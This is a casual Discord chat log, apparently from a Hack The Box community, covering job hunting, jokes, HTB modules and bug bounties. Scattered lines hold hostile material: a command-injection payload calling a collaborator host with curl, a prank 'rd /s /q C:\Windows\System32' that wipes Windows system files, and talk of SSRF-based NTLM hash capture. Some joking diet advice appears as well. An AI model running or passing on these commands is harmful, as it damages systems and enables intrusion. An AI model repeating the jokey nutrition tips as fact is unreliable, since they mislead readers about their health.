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I'm ok, still on the job hunt lol. I had to reapply to that soc apprenticeship again
I did make a bunch of resume edits and now I'm gonna start applying to stuff on LinkedIn
Yea things are rough out there man. A good 30k people just got let go from Oracle
Yeah I saw. That's insane
👀
Please what?
Give me money
Im like a pack of dogs rn
🗣️
Hi falcon
How much
$50
For what

Why you're not sleeping
I am nocturnal
And where is candy29 🍬
Dead
I liked candy more
I low key need a spouse to watch a show with
I get bored of looking at the same thing
I need a tv, a Netflix subscription a couch and yeah.
My username is anything you want to imagine anytime
Hello Airbus A320-neo
Metal thighs tho
My brain is fried what do you recommend
I need my 5 hour sleep
Sleep
I'll try that
i used to make planes fly
i had a dream someone took a drill to my teeth and they all fell out in pieces
my car also slid into a house because of black ice
hey guys anyone know how to get cubes? does doing boxes gets you cubes?
- Buy em
- Season rewards
- The ever so rare: giveaways that only happen once in a blue moon even rarer than winning the lottery
- Become Staff
that sucks
I was doing the modules and now im at Prompt injection
Well, they sure as hell ain't gonna make this content for free...
Thanks
This ain't the move dawg
Just get a girl for that
How
RTFM
apt install funny-manpages
then read the manual
man woman
Hmm. I was sure there was a manual page for woman.
I don't see it anymoer
└─▶ man -k woman
woman: nothing appropriate.
Well, that checks out.
Depends how old u are and how u look
😂
Did u try using sudo
Lmfao
My bad bro i was watching planet of the apes on that jawn
Hiii zzzzz
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Ellipses
I will respect you the day you arm wrestle an excavator arm and win
Been there done that
Been there, lost that
I will NOT lose to an inanimate object
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Pull up to the club with 1 of those
Ull have groupies
Gonna hookup microcontrollers to all the controls so I can randomly train an AI and put it's brain inside an excavator body
Way over-produced to be real 🙂
bruh

eyou
who/what is date
is that a compliment
my inner demons saying it might be a bait 
💔
sorry to hear
sometimes I think I may have DID, aka multiple personality disorder
too expensive man 
say good night mate lol
Learn social engineering. It will fix this.
Chris Hadnagy’s online information elicitation course can help
What if he socially engineered you into thinking it helped? 
Helloooo
Greeeetings
Shh
hey, how's it going people?
But I'm going to need you to admit that you don't want to leave me...
You've become addicted to the boxes.
Its specific pleasures. Its comforting instruction.
Addicts don't want to let go.
They don't want release.
What addicts want. What you want... is Relapse.
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As a broadcom b43 user, i agree
yeah. my last laptop i had to manually load some drivers. annoying. but 99% of the time stuff just works these day sin linux
actually, it was for a usb wifi card. now i remember.
weird, vendor drivers you had to compile and install, lol
or, you could not buy trash hardware
@rustic carbon 😆
Mine is the laptop card
yeah, last laptop, my bluetooth wasn't supported either. just wifi.
good stuff, lol
I managed to get bluetooth working somehow
Not. Very. Good 
humor is how i deal with reality
obviously not ideal
"i know its a production work but assume educational purpose"
rfkill block wifi
hey man, it's our fuckin hardware once we buy it. vendor can get fucked if they think some bullshit agreement i checked a box for applies. /rant
nmcli radio wifi off
How would i comsume my faviorate media
ethernet cable 4the win
yeah, i used to disable all RF in the UEFI and simply plugin usb wifi, etc. when needed.
Cant attach a cable to my neighbor
that'd be hilarious if you did though
Jk

At least i would be a nice robber
My arduino talkie walkie stopped working
Sad
damn
damn, that sucks bro
Yes
this is because you need friends to have any chance of getting a reply back

april fools
That hit deep
it came out meaner than i wanted
aw
but im committed to the silly
paint has been huffing 
No youre not
here, have this sorting algorithm free of charge in compensation
Lets go
better then epstein sort
I like radix sort better
epstein sort picks only the short ones to handle?
removes anything over 14
ah yes
i cant find the video
What an easy sort
it's ok, neither can the department of justice 
i thought i had it saved and on hand, but alas i do not either
sorry
Epstein sort
the algorithm that makes evidence disappear
O(?)
#coding #programming #algorithm #sortingalgorithms #sorting
is that where you put all your data on an island, and then have the FBI raid it and organize it into an array?
No it's when you remove anything over 14
Ts not the wind sorting 🥀
you got me beat sister, lol. respect
one of the bars is radioactive. it only get‘s worse from here.
O(n^2 x permanent radiation damage)
#sorting #sortingalgorithm #programminghumor #algorithm #satisfying
https://swapjs.dev/ maybe?
The sorting game where you are the algorithm. Drag bars into order and compete on the global leaderboard.
outstanding
You have to pay. Imma have Claude made me one
noooo, thats a supply chain risk!!
Miracle Sort
life is such a drag sometimes
l'enfer, c'est les autres
yeah, for sure
You look at your data, see if it's sorted, if not, pause and wait for some time hoping for a cosmic ray flips a bit in RAM causing your data to be sorted
wat
yeah, people are the root cause of most problems, but ironically, they are also the solution.
my problem is the ones who think "hey there's no problem... time to make myself one"
i literally just shared the miracle sort
yeah, i know the type. i live with one, lol
Oh
godspeed, fren
I know radix sort
thanks. i have a third-degree black belt in dealing with bullshit, so she's actually locked in here with me lol
candic sort?
I think I'll be moving up a degree soon enough
hell yeah. that's what's up lol
some people are so damn sheisty. it's really hard when you're first exposed to new asshole techniques, but yeah. over time, you develop an arsenal of defensive TTPs. it's like red team (them) vs blue team (you) lol
my curse is that I have too many unpatched vulns 
Want me to patch them?
we all do, starting out. it wasn't until i got into my mid-30s that i was able to handle the worst fuckers.
then there is hope for me yet at 29
I am not planning to reach 25
art thou okayeth
Ser
fair enough. i just want another 5-10 years and i'll be happy.
imagine old age
having to deal with whatever the equivalet of today's issues are after they've matured for 20+ years
get me out lol
best cheese has matured for long time 
this is true, champagne too 
damn, I wanted to buy champagne for today, but due JESUS happening the hard liquor stores are closed
can anyone help me modifying the hosts file on windows
it doesnt work at all
i cant access the vhost
just put water in the pots and pray bro its easy
and couple lemons and half bag of sugar, and some yeast?
I have a bottle of 2013 dom p in the fridge. not sure when to drink it. Wish it was v.2012
oui oui la vie es souffrance
that's worth about 400 euros btw
I was typing a paragraph and realized I shouldn't post it here 
the bot is borken, mods can't ban anyone apparently. you need a red person to get nuked, so go ahead
I've had it for years
It was a bit personal is why
I have doctor's appointment tomorrow morning at 9am at the dietitian
we are sorry you are fat 
Very fun. Gonna get lectured on how whole foods are amazing and I should be eating them even though I'm underweight and have a history of being very underweight🔥
a hardgainer huh
the price increases roughly 100 euros per year from that point
When I was a kid I was in the .1% of being underweight at nearly every age 
Or in other words a gust of wind could send me into another state
you should eat a lot of white hard grains, like white rice, to gain weight. add in some bacon for taste.
and potato chips. every day a bag.
sugary coca cola and energy drinks are good for gaining weight, too
natural peanut butter very often and lifting heavy will do it too
toaster strudels as well
don't worry we can get you to 300kg range easily if you just follow our instructions
I can't eat enough of those to get remotely close enough to my calorie goals, I've tried it
I've opted for stuff like peanuts, cheese, fast food, simple carbs, pasta, and steak 🔥
I already have a caffeine problem but I will eat remotely anything
Even chia seeds in water but never sushi or bell peppers
Those 2 things are yuckers
they make mass gainer powder too (optimum nutrition)
a scoop or two of that and some bananas, PB , and blueberries in a smoothie a day will fill you out
oh you have that thing. if you don't eat much your stomach size decreases. so you can't spike eat, since it doesn't fit. but that's just training, too. eat, eat, eat, and more will start fitting in.
It's just a bunch of carbs lol. It can spike your blood sugar
carbs is the whole point of gaining weight.
Ik ik. I used to be insane I used to eat 3k calories a day lol
Yeah but depending on the amount of carbs it'll come back up because it'll spike your blood sugar that badly
Especially if it's consumed too fast
I've had my fair share of nights where food would come back up and it was not healthy
I already go gym
I've been back for a bit now
About a month now
you should probably also do one of those genetics panels they have designed for the ultra-rich. most doctors say they are useless, but... some people's bodies don't burn everything, and things just go through, because their bodies are lacking something very specific that is required. those genetic panels direct you towards correct supplements so your body has what it requires for you to actually utilize everything you eat.
Idk. My mom's side are on the bigger side while my dad's side are toothpicks
yeah I had a fren who ate 4-5k kcals daily, and he was likea tooth pick. his body just took what it required and the rest came through untouched
I have decent muscle genetics but can't really use them 
but most usually a human body would utilize everything and try to store the extra. so it's always an issue if it does not.
I really doubt that, it's not possible to eat 5k calories and not gain weight. Weight gain is eating more calories than burned.
To get to the point of 4k calories to maintain you're probably on PEDs or on my 400lbs life
true, if your body is working correctly. which is the point. his was not.
if I eat a peanut, it goes on my waist...
however, that was close to my daily caloric intake when I was trying to build muscle and attempting to gain weight in college and it was still slow going
I am 6'5" and at the time I was like 180 lol
This is a video about how genetic failures impact your gut https://www.youtube.com/watch?v=UyJclSrQGAQ
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Uhhh no, unless he's vomiting it out he's definitely gaining weight. If he's somehow burning say 1.5k calories during exercise number 1, your body is failing because you will be urinating out your skeletal muscle
I'll also add that if your situation is anything like mine was, being in a survival state all the time will burn way too much energy
No it's not, assuming you're 20 when you were in college your maintenance is a bit over 2600 kcal
Assuming you exercise 5 days a week in the gym with decent intensity
This calorie calculator estimates the number of calories needed each day to maintain, lose, or gain weight. Learn the kinds of calories and their effects.
Or 1 to 3 days of heavy cardio
I'm saying I was eating about 3600 and was still very slow to gain
The whole exercise thing is best to actually do the one below it.
Well yeah because your body is also getting rid of excess of things like fat, protein, and carbs that's why you poop more when you eat more because your body doesn't need all of the macros it stores a bit of it as fat is my understanding so you need to do it for a while
he didn't exercise though... point is, due a probably genetic mutation his body couldn't break something from the food, and it came mostly through untouched.
I did it from winter to summer where I was eating 2700 kcals and got to a bit over 3k and gained I think 28lbs
28 lbs how much is that in squirrels
Strange
Divide by 2.5 or something for nonfreedom units
lmao I've called genomics advanced "racism". Funny how biological factors can impact your mind. Something as simple as melanin can cause Vitamin D deficiency to make someone depressed. 😂
My bad it's 2.2
12.7kg or something
the diary of a ceo youtube channel is not a serious source, but the video I posted talks about these issues where some person's body simply doesn't have a chemical precursors to take apart certain molecules, leading into deficiencies. it's a serious research scientific research topic, although most doctors probably think it's only useful for the ultra-rich (that can afford getting tested, and the supplements) and thus harmful in overall
oh gaining 12.7kg is wonderful result
I should probably drop that much, or convert from fat into muscle
Now I'm back to where I started because I spent too much time cybering for a place that barely knew I existed and ended up losing it all 
I've like the string of pearls analogy. Throughout the body you should see a reflection of it. A common phrase in radiology. Genomics, medical imaging , and behavioral wellness can help you troubleshoot your own life sometimes.
Ever since I went back to the gym a month ago I've put on a few pounds I think 4lbs
That's good
your body is a rave pit 
working is... odd... while you might have a few meaningful social interactions, in the grand scheme no one cares if you drop and die. on the other hand work offers many chances of fulfillment, but also total obsolescence
helllo everyone i just wanted to know if i am allowed to post writeups for htb chall online is it against the rules or is it allowed ?
active ones, no. retired, sure.
how can i know if the chall is active or retired ?
usually the labs web site tells you
i pwned this one https://app.hackthebox.com/challenges/SokobanHTB?tab=play_challenge
on the list of challenges at least
can you tell if its active or retired
it is active
i am good cog
i spin and make other cogs spin
cool thanks means not allowed
well, I'm not your mum 







Jetbrains finally fixed their interface huh
was so painful
Wrote up a script using numpy, scipy, matplotlib, etc. to do some math and graphing
neat! I'm planning a project now
There's my poor man's setup
Found my old Pi 4, too. Those ones in the pics are 3b
looks cozy
It would be if I had a bit better chair. It gets the job done, though. Wish I had an L desk though
L desks are cool but you have to get the right one
i got one awhile ago and regretted it immediately
I would just want a simple one similar to mine but L shaped. Nothing like solid oak or anything
Now I have a pretty long standing desk that accomodates a triple monitor setup and I have plenty of room on it for books and notepads - much better workflow imo
Yeah, see I need something like that. I need to get some 7 inch or 11 inch screen for my Pis, too. I really have no need to set them up like desktops lol
Maybe get a Pi rack as well
ive seen 3d printed ones go for cheap
I would probably be bougie and get a fancy one
buy once cry once right
Eh well even some of the fancier ones aren't all too expensive.
I was like whaaaat lmao
why?
Better than mine i guess
Is there a way to change currency in payment. Want to change plane from euro to usd
Not bad
Thank you!
And good morning lol
Good morning!
U uploaded it 7 mo ago?
So did they not tell u to change parts and shit? Full reject?
I'm knocking out starting point then I am going to try and couple active machines. Def steering away from the Apache web server ones first. Wasn't quite ready for those lol
I haven't even gone to sleep yet 😐
I'm in my 30s too lol
I normally sleep nightly but I've been kinda amped from doing all the labs and leagues lol
I had very little to zero. It turned from "hey can you make sure this eternal blue lab works for an event coming up?" "Yeah it works" to "...." And then I kinda just did whatever in the cyber range with deploying stuff in hopes of new events or tours and when tours happened it was "this place is where l33t 1337 haxxors are" and it was mostly people who barely knew any Linux
ignore me 😄
coae
Lost my job back in October because the grant that was funding the whole cyber outreach thing was no more and now I volunteer there and realize a lot of the stuff there is just stupid to have
Coae, nop?
I raise hell about moving to kubernetes and kubevirt at least once every 2 weeks or so because our proxmox isn't scalable and relies on a network share when we're on a flat gigabit network 
Certified Offensive AI Expert (coae). It's an acronym.
If one too many DNS requests are made the network is unusable
@terse dirge switch to qubes 
I hear Qubes is fire
it is fun
Our DNS server and gateway are built from scratch instead of using corporate reliable software 
Not schizo enough and don't have the resources to support it on my laptop
I'll use talos on kubernetes before I use qubes

it takes a bit until something starts on the x220 but i have time 😄
i could install it on desktop too though
i use talos on my cluster actually
not schizo? in this economy?
This makes me feel blessed that I am about to get a System76
We also have Mac filtering even though it's a "cyber range" that's open to the general public 
you mispelled my name
You cannot set up anything without being "trusted first" it's like a secret club! If you ain't cool well too bad, you can't learn anything other than overthewire and basic Kali tools!
almost done with bypassing captive wifi portals
Is that a box or are you playing with a pineapple
I try to encourage others to set their own stuff up if they want to without knowing or caring about what they ate this morning by reserving physical servers for people to use in the space
academy module
Oh, nice. I have some of the "currency" to do more of those. I just got bored because I learned all of what I was reading in college already lol
There is also a serious lack of volunteers right now and the people at the top are realizing it and I'm the only one that manages the systems now 
Forgot what HTB calls it but there's like points you get to be able to do more of those academy modules
cubes
Could've said spheres
qubes
anyone give kobold a try?
what's that
a box
finally throwing time at cracking a box
get back in the saddle for an hour or so
Almost everyone ig
It's old machine
2w old
If u want nudges goto #1484998637653332200
Very old box smh
It's not, the names of the machines no longer seem to have any bearing on the content
not even the other one I could've chosen which is a camera?
think i will go to gym in 30-45 min

I am also about to go
Well that one does have a relation
but the more recent ones don't
Nevah
what about you read the TOS
what if the box itself was made with AI

hey
you chose violence
or 1st
wdym
date
3rd
oh shit lost track of time too, ye i take that back
hapy abril retar3rders
Happy birthday btw
english is my first language 
imagine that jojo gif frog being punched slowmotion
you can see it

were going through a very interesting phase of pentesting
ye this one 
i wouldnt even be surprised if a couple months later my retired unc could get that cert too

ayyyyy wooahh whatsa matta heeer
can anyone help me with a metasploit exploit?
i can't seem to find the correct one for a server with windows rpc and httpapi httpd 2.0
😄
I've personally thought that if you were to do a reoccurring monthly payment into a currency pair with gold over a 20 year duration you'd have more value than any boomer buying a home. Seems like some a real genius would do.


fri-yay
You gonna watch the super Mario movie? I'm tryin' to stuff a whole sandwich in my dogs coat when I go to the theater today
fridayyyy
"The concept of oil having consciousness suggests it is an ancient, sentient, chthonic intelligence rather than a passive commodity, acting as an agent in human affairs with its own volition. This perspective treats oil as an animate, creeping entity that shapes history and feeds on conflict, operating as a "sub-consciousness" of modern civilization. "
schizo status?
I watched the super Mario movie at the cinema yesterday
didn’t even know that released lol
how was it?
Good but bad the ending was like sudden idk
Kinda straight to the point I feel like
Needs more inspiration on human greed and how industry shapes policies
No spoilers plz 
not my idea, but I agree
Whatcha doin'?
@rotund forge
Microsoft Copilot terms of service have been updated to include this gem: "Copilot is for entertainment purposes only." theregister.com/2026/04/02/cop…
What's the host?
some windows server
its from the metasploit module in the academy
It's been a minute since I touched that
Hmm I would normally collaborate if you show the module and what concepts you're struggling with.
I can do that. Can we move to DMs for it?
Tfw you get a WAF bypass across 16 subdomains
chain a path normalisation desync with
works, talking to internals
finds swagger-config unauth
treasure trove of internal routes (gRPC and OpenAPI)
Finds company CAs, Write operations across prod, etc
submits… duplicate of someone’s informational submission
Curses to the person that found the WAF bypass before me and submitted as is, I hope to god my submit gets a re-review for escalation
Yeah I dont mind
Perfect
Just read in reddit that completing the documenting and reporting module before doing any htb academy modules is such a good hack in taking good notes, is it really that effective?

what
theres no navigation!
what do you want like a compass and quest markers or someth
yes
Pain, but very cool
STUUB youre alive
how are you?
I havent showered since a year
good for you!
Same
I might shower in the summer due to sweat but like I feel like stacking up on it
bro is ready for defcon
lmaoooooooooo 💀
nice pfp bro
Yes
Like idk how to use
Thanks
who knows
they told me that some stuff is CTFy so i guess i change that and itd be gud
i hope
😄
NO
@austere sinew
Bruh
Hi
good, you?
Hi
Happy bdayyyyy
Hello 👋
🤝
it is friday, so no complaints from me
oh ye nice, this is a hacking server right>
?
public holiday stuff
no hacking here, just yapping
oh.
i forgot the library is closed on public holidays ♿
we usually talk about the best soil for fertilization
weve been pivoting to goose farming though, so if u have any tips there let us know

Is there anyone who do bug hunting? Can you recommend me platform. I am currently on intigriti
The major platforms are all pretty much the same
BC/H1/intigriti, etc. even SRT is the same just with a few more hoops
But there are like 10+ platforms out there, so if you dont want a major one you can try the minor ones
$ sudo hack
nice beginner command 😄

yep
sudo hack Olive Man
🍿
Under the hood: claude -p "plz hack this"
wrappers
Any hacking today?
always

what about you? Any fun endeavors recently?
Found out about how to recon wordpress
Sudo hack golam71 --min-rate=42069 --ransom-parents --claude-buddy
The json username leak still works on a lot of sites ngl
IT IS NOT MY BIRTHDAY
Happy birthday girlie
HTB{Pwn3d_g0l4m71}
Hey man i know its p5 
4 minutes left on pressure cookie im fucking salivating
What are you pressure cooking at 9am
Im a scorpio
Its cool you are a taurus
Sell it to the bad guys
Can you tell me which they are plz?
that screenshot was from an RCE 🥴
I'm a sagittarius
libra reporting in
one of yours?
Rce is p5
yeah it was from a few years ago, the program accepted OS command injection as P1 Wont Fix 
nice, was the triager high?
, but to name a few BC/H1/intigriti/SRT, yeswehack, zerocopter, gobugfree, openbugbounty, yogosha, hackenproof, immunefi
most philosophical of all the signs................
but frankly, I think that's a bunch of bullshit 😉
you sound like such a capricorn
Thanks
I prefer MBTI and Ennegram for personality types. But I will admit that my full zodiac chart is wildly accurate.
customer claims they werent interested in submissions on that domain, then the subdomain went offline a few days later
magically 
@frigid mountain it was a quote from Jim Morrison's Roadhouse Blues live
Jim Morrison is highly overrated imo
RCE + DROP DATABASE; tends to do that maybe 
Can't deal with that wonky organ sound in The Doors music either
I´ve made a fantasy cut for the ultimate roadhouse blues version :)) - lyrics:
Hi, how you doin' there? Y-e-ah. Looking good. Everything is fucked up as usual... you know...
WHOOOOOAAAAAAOOOO - C´MON!
A-keep your eyes on the road, your hands upon the wheel
A-keep your eyes on the road, your hands upon the wheel
Come to the Roadhouse, gonna h...
it was pretty funny, some req like:
/print?url=`curl${IFS}burp.collab`

bug bounty

my gut tells me it's the program manager doing program manager things tbh
Could be, in any case the customer is always right so best to just move on 
at best, we can only make recommendations after reproducing it, so if the PM decides to screw with you, then idk man
"Make the applicant feel strongly considered even if they werent."

brutal
ATS ruined the job market and I'll die on this hill
I wish every HR person was fired tomorrow and was made to find a job via cold applications only
would have said that 2 months ago, but i found my job through a cold application so i guess i got lucky
either way, cold apps still suck
9 min until Billy Strings tickets go on sale
All ATS did was put people on the "make my resume for this description" treadmill
for a good while, i was in the "getting interviews but not offers" state
my soft skills are tops. I've gotten an offer from every interview I've ever had
🤞
Sometimes I sabotage myself in the interview stage
yeah interviews are hard dgmw
I mentally prepare for them and rehearse talking poitns
can anyone help me with a metasploit framework question?
what's the question. lead with that.
interviews are a bit of a black box to me tbh
So we got Google fiber
You have to prepare a handful of talking points and think on your feet to steer the questions they ask to what you want to say
It's just a social script depending on what stage you're in
I struggle with the HR normies
is this a module question?
yep
Jesus try to read first
RIP Juice WRLD 😭
still surprised i got the offer for my current job, but i guess my sincerity got me in
never be sincere in interviews. Be a walking advertisement for yourself. 😄
I think there's a balance. Especially with the hiring manager
yeah I agree
With HR, just use buzzwords and make them feel smart
be sincerely branded
Cuss them out
being a fresh grad in the year of our lord 2025 certainly didnt help my chances
explain your background and how your skills apply to the role
how do you know it's not AI?
run back inside before you see any wOmEn
touch it
yesterday it was so foggy it felt like Silent Hill
can't spell women without OMEN
I went to a different biome and the old one still worked when I was back
Also the physics engine is pretty solid
though i remember an interview when they didnt even tell the hiring manager about the position HR was hiring for
I wonder if I can prop fly
was a bit of a disaster
wish me luck guys I’m gonna hold a bucket under my feet
If I make it to space remember me
godspeed adventurer
1 minute to ticket waiting room for purchase billy strings. I have my office door closed and my headset on to appear I'm in a call
typically i just hit the yart for that
Godspeed, You Black Emperor!
remember when "utilizing AI Agentic workflows" just meant automation, but with LLMs
pepperidge farm remembers
great success!
cube talks? 
no?
wut dat
getting my bucket rn wait
Saturn?
it's a planet
bucket has a hole in it, rip
I know
then why'd you ask?
It was a joke since I have many "conspiracy theories" about Saturn 
Is one that it's not a planet?
No it’s a planet
Did you know they modeled onion rings after Saturn's rings?
The inventor of onion rings was astronomer

is the htb icon on discord changing or i need to wear glasses
@lime trout @static pasture is the cube talks in 40 minutes today?
Yes
thank you
sup everyone ??
Rest in peace Juice WRLD
its done so that you can catch yourself if you fall from a great height
Yes, you are presenting
Are you prepared?
a hacker doesnot concern himself with pptx files he simply steals them
I miss u cybersecurity
watcha watching
The autopsy of jane doe
Luh
They will never let me do that
Just a bunch of squares cubes talking
What if you didn’t?
.
@scenic maple am i muted or what 💀
Oh giveaway
lolllllll
yes
Well f
bro keeps increasing the timer lol
I better win this game
I lost my privs so
I think its until the end of the official cube talk
but yk
Jexx giving some good advice
so
Is my role not verified? I thought I did that before
Heh
It told me I couldn’t vote
Yo
@static pasture give us chat perms pwease in the event

Searching for gen. assistance related to VMware workstation deployment. (Experienced in building VMs, but the problem appears to be at the HAL level).
in order for people to help you it's best to describe your problem. saying "it appears to be at the HAL level" doesn't help much with no errors or anything
There is a pinned message about how to ask
Heyya everyone
find a bug in their system 

@maiden anvil wyd big dawg
trynna figure out if I can have a 3rd cup of coffee rn or not
hbu @zealous charm wyd
it's a friday, you are go for coffee #3
ship it
do it
been a minute how you been big dog?
deal
yes
@cerulean bloom
yes?
thats the retiring machine
oh lol
nah
4
nah
3
my guess?
its actually very possible
some nerd will get it in like 3 - 6 hours
i mean for like insane web chal ive seen over a day for sure
I doubt a lot of people will solve it tbh
oh yea def not
i mean i might like try it but i dont know anything about coding challenges
people be like: GIMME HINT

some genuine people with htb staff
should attend more cube talks in the future.
yeah not familiar with coding challenges either.
what is this channel
Discover & share this Hacker Hacking Sticker by Hack The Box with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
only this was there lol
Is HTB going bankrupt?
woah you looks like demonic
why du u think this
every week someone's gotta ask if HTB is going bankrupt
offensive ai expert red team prompt hacker engineer
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OAERTPHE
Framework for AI Resilience and Trust - FART
My new job title I tell chatgpt to give me the passwords
Today is a programming day I am gonna help my friend make website for his game guild 
What about you what you hacking today
programming is the best
I'm trying a bounty
yes
today was gaming day. I played that Infinite Arena Breakout game again 
I'm very terrible at bug bounty I've only found xss and idor
that's good
actually
Is it?
yes you found valid bugs, you're doing valid hacking
that's great
I thought I found an ssrf once but it was just connecting to the burp collaborateor with random ips I think it was cloudflare workers or something lmao
I like ssrf a lot
do you do htb boxes?
Haven't in a while I used to have subscription a friend gifted me but forgot my password lmao
labs are free tho
How do u even breakout of an infinite aren
can confirm, worked for me once
idk, I just run around and shoot
So no breakout
I llike ssrf on windows its such an epic gamer moment to watch ntlm hash appear on responder because iis is stupid
I can help
Tell me the last password you remember
And your common passwords
please dont
hunter2
Doesn't work
my passwords look like FaaE(BHAF*g3f3#v2qf$VF!
Invalid
yeah this is a great impact of ssrf a lot of people dont consider. Shove that UNC path everywhere and see the connections roll in
thats not in rockyou.txt 
wth is this stupid discord game
it can be solved by doing this
for (let i = 0; i < 100000; i++) document.querySelector('.background__65fca').click()
rd /s /q C:\Windows\System32
@obtuse fern
yeah keep going
did you do it ? is it not newbie friendly ? or it's just the starting module that so much theory.
i didn't
feels so weird man
yeah feeling same
yeah am trying to do a writeup for every section i do like squeezing all the info and save it for later but am like what are they even talking about ..
i did it with all other modules but this one is out of lead
I gave ai to do it for me because maybe am just stupid and ai was like ...
I had to do a writeup for Three in starting point tier 1 because some of the process was a bit different towards the end for kali 2026.1 😅
Wanted to make sure I had the process documented.
And one of these machine completely buried the flag in the C drive lol
AI business is fully new thing for me ngl
Htb likes to do us dirty smtimes
Yes and no. Sometimes the write-ups are just old and sometimes they just want to teach you how to do stuff that wasn't originally intended 🙃
I took it as a learning experience lol
Lemme k ow about it
@sturdy thistle is it possible HTB will ever update a writeup?
I built out a platform for AI generated security lab deployments. Any interested in testing and sharing their thoughts?
Sure, not testing but gonna look at it
no idea ask support
Fair
-# If I say yes for testing, it would feel like I'm obligated to do it 💀
Post the link here ig
Ok i lost internet and my messages gonna be now out of context 💀
Was working on something similar, not AI stuff in it tho
And rn I'm on phone to see much
Will bookmark it
Accept my request
Done
Thanks
So you even provide the infra to launch labs
Thats kinda nice
I'll check it in the morning and see
Kinda cool project
Yeah, its still a work in progress. Yeah lmk what you think. Thanks
the HTBA section I was stuck on a week ago turned out to be ezpz I'm on the next section now which is ezpz
lmao
I was having a hard time a week ago but I was absolutely overthinking it
this is good I am finally starting to make progress. we'll see if this holds up
how are you guys?
just completed another section
gonna do maybe one or two more today
That's good. What topic were you learning about?
And I'm good. How are you?
using web proxies
Oh, nice!
@terse dirge bro how did it go
I'm going to a 2600 meeting tonight so we'll see if I can get a third or fourth section done by then.
You got this!
thanks
if I get four sections done in one day that's a huge improvement over where I was weeks ago
if this rate of progression continues its a game changer
Progress is always good! One step in front of the other.
I would not measure or progress with speed in mind. If it takes you a year to learn properly, but you really understand what the module was teaching, so be it.
None of the exams are going to care how fast you finished - only if you understood them.
The Internet came together to vanquish a foe
I’m dead
I know. Its not that as much as before I was working forever in order to complete like even a section a couple times a week due to horrible focus issues because of my mental health problems. Now that appears to have been addressed and me completing sections at a normal pace and actually learning from the sections I work through to me is clinically significant because it means my treatment I have been on is working.
so if my treatment works I should be performing better at HTB
that's the only thing
I just hopefully aced an electronics midterm so I had to take a week off from HTB too but today got back to it
btw guys I applied to volunteer at a couple of Defcon villages but I'm hoping to apply to more
I might apply to more today
if I can get my DC badge paid for that's gold
I just gotta worry about hotel room ya
and a ride
but I'll sort that out
nah bro you've got this small progress matters 🔥🔥
I mean if I complete two sections a day that’s a decent pace right? Not too fast or slow and can still learn everything?
yeah sure thats enough
Ok cool
i just do 1 module a day and make a github note











